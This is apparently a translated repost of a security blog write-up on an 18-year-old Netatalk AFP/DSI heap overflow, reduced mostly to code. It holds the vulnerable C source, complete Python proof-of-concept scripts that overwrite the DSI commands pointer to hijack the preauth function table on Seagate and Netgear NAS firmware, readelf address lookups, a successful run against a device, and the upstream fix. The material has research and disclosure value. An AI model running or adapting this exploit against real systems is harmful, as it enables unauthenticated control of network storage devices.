2018-12-27 17:14:3515092人阅读
/*
 * Copyright © 1990,1993 Regents of The University of Michigan.
 * All Rights Reserved. See COPYRIGHT.
 */
/* parse options */
while (i < dsi->cmdlen) {
  switch (dsi->commands[i++]) {
  case DSIOPT_ATTNQUANT:
    memcpy(&dsi->attn_quantum, dsi->commands + i + 1,
            dsi->commands[i]);
    dsi->attn_quantum = ntohl(dsi->attn_quantum);
 
case DSIOPT_SERVQUANT: /* just ignore these */
  default:
    i += dsi->commands[i] + 1; /*forward past length tag + length */
    break;
  }
}
#define DSI_DATASIZ       65536
 
/* child and parent processes might interpret a couple of these
 * differently. */
typedef struct DSI {
    struct DSI *next;             /* multiple listening addresses */
    AFPObj   *AFPobj;
    int      statuslen;
    char     status[1400];
    char     *signature;
    struct dsi_block        header;
    struct sockaddr_storage server, client;
    struct itimerval        timer;
    int      tickle;            /* tickle count */
    int      in_write;        
 
    int      msg_request;       /* pending message to the client */
    int      down_request;      /* pending SIGUSR1 down in 5 mn */
 
    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;
...
import socket
import struct
import sys
 
if len(sys.argv) != 3:
    sys.exit(0)
 
ip = sys.argv[1]
port = int(sys.argv[2])
 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
 
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += "\x04" # length
dsi_opensession += "\x00\x00\x40\x00" # client quantum
 
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
 
sock.sendall(dsi_header)
 
try:
    resp = sock.recv(1024)
    print "[+] Fin."
except:
    print "[-] No response!"
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += "\x0c" # length (/)o,,o(/)
dsi_opensession += "\x00\x00\x40\x00" # client quantum
dsi_opensession += '\x00\x00\x00\x00' # overwrites datasize
dsi_opensession += struct.pack("I", 0xdeadbeef) # overwrites server_quantum
function = (u_char) dsi->commands[0];
 
if (afp_switch[function]) {
    err = (*afp_switch[function])(obj,
            (char *)dsi->commands, dsi->cmdlen,
            (char *)&dsi->data, &dsi->datalen);
} else {
    LOG(log_maxdebug, logtype_afpd, "bad function %X", function);
    dsi->datalen = 0;
    err = AFPERR_NOOP;
}
albinolobster@ubuntu:~$ readelf -s afpd.netgear | grep "auth_switch"
   493: 00083d5c  1024 OBJECT  GLOBAL DEFAULT   22 postauth_switch
   176: 000166e8   596 FUNC    LOCAL  DEFAULT   11 set_auth_switch
   798: 0008395c  1024 OBJECT  LOCAL  DEFAULT   22 preauth_switch
  2572: 00083d5c  1024 OBJECT  GLOBAL DEFAULT   22 postauth_switch
albinolobster@ubuntu:~$ readelf -s afpd.seagate | grep "auth_switch"
   313: 000000000063ae40  2048 OBJECT  GLOBAL DEFAULT   24 postauth_switch
albinolobster@ubuntu:~$
dsi_payload = "\x00\x00\x40\x00" # client quantum
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrite quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrite ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
 
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload
albinolobster@ubuntu:~$ readelf -a afpd.seagate | grep getsrvrinfo
   241: 00000000004295f0    55 FUNC    GLOBAL DEFAULT   13 afp_getsrvrinfo
afp_command = "\x01" # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
 
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
import socket
import struct
import sys
 
if len(sys.argv) != 3:
    sys.exit(0)
 
ip = sys.argv[1]
port = int(sys.argv[2])
 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
 
dsi_payload = "\x00\x00\x40\x00" # client quantum
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
 
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload
 
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
 
sock.sendall(dsi_header)
resp = sock.recv(1024)
print "[+] Open Session complete"
 
afp_command = "\x01" # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
 
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
 
print "[+] Sending get server info request"
sock.sendall(dsi_header)
resp = sock.recv(1024)
print resp
print "[+] Fin."
albinolobster@ubuntu:~$ python afp_srvrinfo.py 192.168.88.252 548
[+] Attempting connection to 192.168.88.252:548
[+] Open Session complete
[+] Sending get server info request
�,W��]
Netatalk3.1.8AFP2.2AFPX03AFP3.1AFP3.2AFP3.3AFP3.4No User AuthentDHX2  DHCAST128Cleartxt Passwrd�������@��@X4@@Ѐ���r�"�@A@A@A@I$@UT�]t>��� @���@�@��?������������������������������������������������������������?���������@��?�����4���b8�eQ�x����5
                                                                                                              Seagate-DP2
[+] Fin.
case DSIOPT_ATTNQUANT:
-      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
+      if (option_len != sizeof(dsi->attn_quantum)) {
+        LOG(log_error, logtype_dsi, "option %"PRIu8" bad length: %zu",
+            cmd, option_len);
+        exit(EXITERR_CLNT);
+      }
+      memcpy(&dsi->attn_quantum, &dsi->commands[i], option_len);
本文翻译自:https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
翻译作者:41yf1sh 原文地址: http://www.4hou.com/vulnerable/15376.html